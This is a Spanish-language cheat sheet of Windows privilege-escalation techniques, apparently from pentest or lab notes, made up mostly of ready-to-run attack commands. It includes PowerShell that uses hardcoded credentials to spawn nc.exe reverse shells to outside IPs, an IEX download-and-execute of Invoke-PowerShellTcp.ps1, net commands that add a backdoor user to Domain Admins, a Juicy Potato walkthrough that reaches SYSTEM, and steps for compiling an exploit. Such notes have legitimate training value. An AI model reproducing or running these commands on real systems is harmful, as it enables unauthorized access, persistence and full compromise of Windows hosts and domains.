# Windows Privilege Escalation

### Obtener shell reverse con otro usuario teniendo sus credenciales por medio de un script.ps1

```
## DOMINIO ##
$secpasswd = ConvertTo-SecureString "aliceishere" -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential ("alice", $secpasswd)
$computer = "Bethany"
[System.Diagnostics.Process]::Start("C:\Users\Public\Downloads\nc.exe","10.10.10.111 5555 -e C:\Windows\system32\cmd.exe", $mycreds.Username, $mycreds.Password, $computer)

## LOCALMENTE PSREMOTING ##
$username = "BART\Administrator"
$password = "3130438f31186fbaf962f407711faddb"
$secstr = New-Object -TypeName System.Security.SecureString
$password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
$cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr
Invoke-Command -ScriptBlock { IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/Invoke-PowerShellTcp.ps1') } -Credential $cred -Computer localhost
```

### Creacion de usuarios con NET

```powershell
# Listado de usuarios y grupos 
net user
net group
net localgroup

# Creacion de Usuario en Domain Controller
net user gerh Tomas123 /add /domain
net group "Domain Admins" gerh /add /domain

# Creacion de Usuario en localgroup
net user gerh Pass123 /add
net localgroup Administrators gerh /add
net localgroup "Remote Desktop Users" gerh /add
net localgroup "Remote Management Users" gerh /add
```

### Impersonating Privileges with Juicy Potato <a href="#id-9faa" id="id-9faa"></a>

**U**n servidor COM es un ejecutable (EXE o DLL) que implementa un conjunto de objetos COM. Los componentes de Windows se implementan como objetos COM y siguen reglas COM estándar para comunicarse entre sí. Los servidores COM están registrados en el Registro y tienen un Class ID (CLSID) y un APPID

```
// Primero se valida los privilegios del whoami con
whoami /priv
PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

```

Si esta habilitado el **SeImpersonatePrivilege ||&#x20;**_**SeAssignPrimaryTokenPrivilege**_ en **TRUE** se realiza lo siguiente:

{% embed url="https://github.com/ohpe/juicy-potato/releases" %}

```
//Obtener ayuda del juicypotato
.\JuicyPotato.exe -h

//Para obtener el CLSID se puede ejecutar el siguiente script en powershell
https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1

// Ejecuta el PS1
powershell -exec bypass -file GetCLSID.ps1

// Crear un script.bat para obtener shell reverse con Netcat sobre el puerto 9003
C:\Users\Public\nc.exe -e cmd.exe 192.168.119.195 9003

//Ejecuccion final del JuicyPotato
.\JuicyPotato.exe -p C:\Users\Public\Escalame.bat -l 9003 -t * -c "{9c212ed3-cfd2-4676-92d8-3fbb2c3a8379}"
Testing {9c212ed3-cfd2-4676-92d8-3fbb2c3a8379} 9003
..........
[+] authresult 0
{9c212ed3-cfd2-4676-92d8-3fbb2c3a8379};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK
```

### Compilación de Exploits con mingw32-gcc

```
//Para validar la version actual de windows
systeminfo

//Instalando herramienta mingw-w64
apt-get install mingw-w64

//Compilando el exploit con la herramienta instalada
i686-w64-mingw32-gcc 40564.c -o /home/kali/Downloads/exploit.exe -lws2_32
```

### Escalación de privilegios dentro de un Active Directory por medio de un usuario del grupo DNSAdmins

Los miembros de este grupo pueden administrar DNS. Los controladores de dominio suelen servir también como servidores DNS, por lo que Microsoft preparó un protocolo de gestión basado en RPC. Un usuario que pertenece al grupo DnsAdmins puede cargar arbitrariamente un controlador DLL y su ruta no se verifica. Según Microsoft, la operación "ServerLevelPluginDll" se realiza en tal caso. El usuario puede modificar la configuración de las DLL, que están cargadas, con dnscmd.exe (el ejecutable es parte de DNS Server Tools). Esta característica no se trata como una vulnerabilidad, pero su abuso puede conducir a la ejecución de una DLL maliciosa en el contexto de los privilegios del SISTEMA.

### Por medio de windows-exploit-suggester.py

```
python2 windows-exploit-suggester.py --update
python2 windows-exploit-suggester.py --database 2022-03-29-mssb.xls --systeminfo systeminfo-optimun 
```

### Validacion de la arquitectura de windows con powershell

```
[Environment]::Is64BitProcess
```
